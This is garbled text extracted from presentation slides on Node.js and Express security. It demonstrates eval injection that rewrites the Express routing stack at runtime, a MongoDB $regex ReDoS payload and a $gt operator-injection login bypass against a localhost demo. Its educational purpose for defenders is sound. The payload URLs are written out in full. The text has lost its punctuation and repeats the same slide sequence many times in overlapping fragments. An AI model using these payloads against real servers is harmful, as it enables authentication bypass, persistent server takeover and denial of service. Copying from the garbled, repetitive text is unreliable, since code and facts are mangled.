httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
